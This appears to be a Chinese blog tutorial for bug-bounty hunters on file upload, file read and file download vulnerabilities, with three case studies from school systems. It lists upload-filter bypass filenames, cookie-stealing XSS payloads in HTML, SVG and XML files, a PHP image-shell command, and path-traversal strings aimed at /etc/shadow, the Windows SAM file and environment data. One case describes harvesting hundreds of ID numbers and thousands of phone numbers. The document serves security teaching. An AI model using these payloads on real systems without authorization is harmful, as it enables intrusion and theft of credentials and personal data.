【SRC】基础思路篇8:文件操作漏洞挖掘完全指南
2026/6/30 9:28:33 网站建设 项目流程

文章目录

    • 前言
    • 一、文件上传漏洞测试
      • 1. 测试流程
      • 2. 常见绕过方法
        • 双后缀绕过
        • 大小写绕过
        • 特殊字符绕过
        • 双写后缀绕过
        • Windows特性绕过
      • 3. 文件内容构造
        • HTML文件(存储型XSS)
        • SVG文件(XSS+SSRF)
        • XML文件(XSS)
        • 图片马(PHP)
      • 4. 服务器配置漏洞
        • IIS解析漏洞
        • FastCGI解析漏洞
        • 路径遍历结合上传
      • 5. 上传文件后续利用
    • 二、文件读取漏洞测试
      • 1. 测试方法
      • 2. 常用路径遍历Payload
        • Linux系统
        • Windows系统
      • 3. 高级绕过技巧
        • 多层遍历混合
        • 编码绕过
        • Unicode编码绕过
      • 4. 敏感文件读取清单
    • 三、文件下载漏洞测试
      • 1. 测试场景
        • 导出功能测试
        • 文件ID遍历
        • 系统通杀接口
      • 2. 测试Payload
        • 基础路径遍历
        • 编码绕过
    • 四、实战案例总结
      • 案例1:某高校用电监管平台文件上传漏洞
      • 案例2:某高效任意文件读取漏洞
      • 案例3:某学校系统通杀任意文件下载漏洞
    • 结语

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在SRC漏洞挖掘中,文件操作漏洞是常见的高危漏洞类型,包括文件上传、文件读取、文件下载等。一旦成功利用,攻击者可以获取敏感信息、执行恶意代码甚至完全控制服务器。本文将带你全面了解文件操作漏洞的测试思路、漏洞类型和实战技巧。


一、文件上传漏洞测试

1. 测试流程

基础测试步骤

  1. 定位上传功能:找到文件上传入口(头像上传、图片上传、附件上传等)
  2. 验证前端校验:尝试上传非允许类型文件,观察前端提示
  3. Burp绕过测试:使用Burp Suite拦截请求,修改文件名和类型
  4. 验证上传结果:查看上传后的文件路径,确认是否可访问

2. 常见绕过方法

双后缀绕过
1.html.png → 绕过前端校验 1.php.jpg → 服务端可能解析为PHP

测试方法:先构造1.html.png上传,拦截后删除.png后缀。

大小写绕过
test.HTML test.PhP
特殊字符绕过
test.HTML< test.HTML> test.HTML/
双写后缀绕过
test.pphphp
Windows特性绕过
a.php. → Windows会自动去掉末尾的点,变成a.php a.php::$DATA → NTFS交换数据流

3. 文件内容构造

HTML文件(存储型XSS)
<!DOCTYPEhtml><html><head><title>XSS测试</title></head><body><script>alert("XSS测试")</script><imgsrc=xonerror=console.log(document.cookie)/></body></html>
SVG文件(XSS+SSRF)
<svgwidth="300"height="200"xmlns="http://www.w3.org/2000/svg"><rectwidth="100%"height="100%"fill="lightgrey"/><foreignObjectx="10"y="10"width="280"height="180"><bodyxmlns="http://www.w3.org/1999/xhtml"><script>alert(document.cookie)</script></body></foreignObject></svg>
XML文件(XSS)
<something:scriptxmlns:something="http://www.w3.org/1999/xhtml">alert(document.cookie);</something:script>
图片马(PHP)
# 将PHP代码嵌入图片中copy a.jpg/b b.php>shell.php

PHP一句话木马

<?phpphpinfo();?>

4. 服务器配置漏洞

IIS解析漏洞
文件名.<<< 文件名.>>> # 写入到:文件名.php
FastCGI解析漏洞
# 在浏览器中访问正常图片地址+1/php http://example.com/upload/test.jpg/1.php # 如果显示空白页面,表示解析了PHP # 返回404则表示未开启
路径遍历结合上传
# 如果存储地址URL有规律,测试上传后的路径遍历 http://example.com/upload/../../../../etc/passwd

5. 上传文件后续利用

测试场景

  • 上传exe、html文件后,路径可以直接下载
  • 说明可以钓鱼(图片内容可以是违法、造谣等)、XSS

JS代码找上传后地址

  • 上传后查看响应包,找到文件存储路径
  • 在JavaScript代码中查找文件URL

二、文件读取漏洞测试

1. 测试方法

基础测试步骤

  1. 定位下载功能:找到文件下载、查看、导出等功能
  2. 构造路径遍历Payload:尝试使用../..\
  3. 验证漏洞:读取/etc/passwd/c:/windows/win.ini

2. 常用路径遍历Payload

Linux系统
../../../../../etc/passwd ../../../../../etc/shadow ../../../../../root/.bash_history ../../../../../var/lib/mlocate/mlocate.db ../../../../../proc/self/environ
Windows系统
../../../../../windows/win.ini ../../../../../windows/system32/config/sam ../../../../../Program Files/MySQL/my.ini

3. 高级绕过技巧

多层遍历混合
/home/file/tmp/.././.././.././.././.././etc/./passwd
编码绕过
..%2f..%2f..%2fetc%2fpasswd ..%5c..%5c..%5cwindows%5cwin.ini
Unicode编码绕过
..\u002f..\u002fetc\u002fpasswd

4. 敏感文件读取清单

文件路径用途说明
/etc/passwd系统用户信息验证漏洞存在
/etc/shadow用户密码哈希弱密码可破解
/root/.bash_history历史命令可能包含敏感信息
/var/lib/mlocate/mlocate.db文件索引数据库批量获取文件路径
/proc/self/environ进程环境变量获取内网IP等信息
/etc/my.cnfMySQL配置获取数据库密码
/etc/httpd/conf/httpd.confApache配置服务器配置信息

三、文件下载漏洞测试

1. 测试场景

导出功能测试

测试方法

  • 观察导出功能的响应体
  • 查看响应文件内容
  • 修改请求体中的导出文件名称为../../../../etc/passwd
文件ID遍历

测试方法

  • 下载接口的文件ID是否可遍历
  • 如果ID不可遍历,尝试通过其他接口获取
系统通杀接口

测试方法

  • 同系统多学校/企业使用,接口可复用
  • 利用之前挖掘保留的接口获取文件ID

2. 测试Payload

基础路径遍历
/download?file=../../../../etc/passwd /download?id=1&path=../../../../etc/passwd
编码绕过
/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

四、实战案例总结

案例1:某高校用电监管平台文件上传漏洞

发现过程

  1. 定位上传功能:登录系统找到图片上传业务模块
  2. 验证前端校验:仅校验e.type,可通过Burp绕过
  3. 构造恶意文件:创建HTML文件,包含XSS脚本和DNSLog回连
  4. Burp修改上传:构造payload_poc.htm.jpg,拦截后删除.jpg后缀
  5. 验证漏洞触发:访问上传后的HTM文件,脚本执行成功

关键技巧:前端校验不可信,必须在服务端实施强校验。

案例2:某高效任意文件读取漏洞

发现过程

  1. 定位下载功能点:找到系统的文件下载功能模块
  2. 构造路径遍历Payload:使用多层路径遍历和当前目录混合
  3. 验证漏洞有效性:成功读取到/etc/passwd文件内容
  4. 读取mlocate.db:获取系统的文件索引数据库
  5. 获取敏感信息:分析mlocate.db内容,获取500+身份证号、3000+手机号

关键技巧:mlocate.db是宝藏,读取文件索引数据库可批量获取文件路径。

案例3:某学校系统通杀任意文件下载漏洞

发现过程

  1. 注册账户:进入招聘网站,注册一个账户
  2. 观察数据包:发现下载接口,但ID不可遍历
  3. 利用系统通杀:同系统多学校使用,利用之前挖掘保留的接口获取文件ID
  4. 构造下载URL:拼接完整URL实现下载
  5. 获取敏感文件:成功下载用户上传的大量敏感信息

关键技巧:系统通杀思路,同系统多部署,接口可复用。


结语

文件操作漏洞是高危漏洞类型,掌握文件操作测试技巧对于SRC漏洞挖掘至关重要。记住:仔细测试每个上传/下载功能、灵活运用绕过技巧、关注敏感文件,这是发现文件操作漏洞的关键。

如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询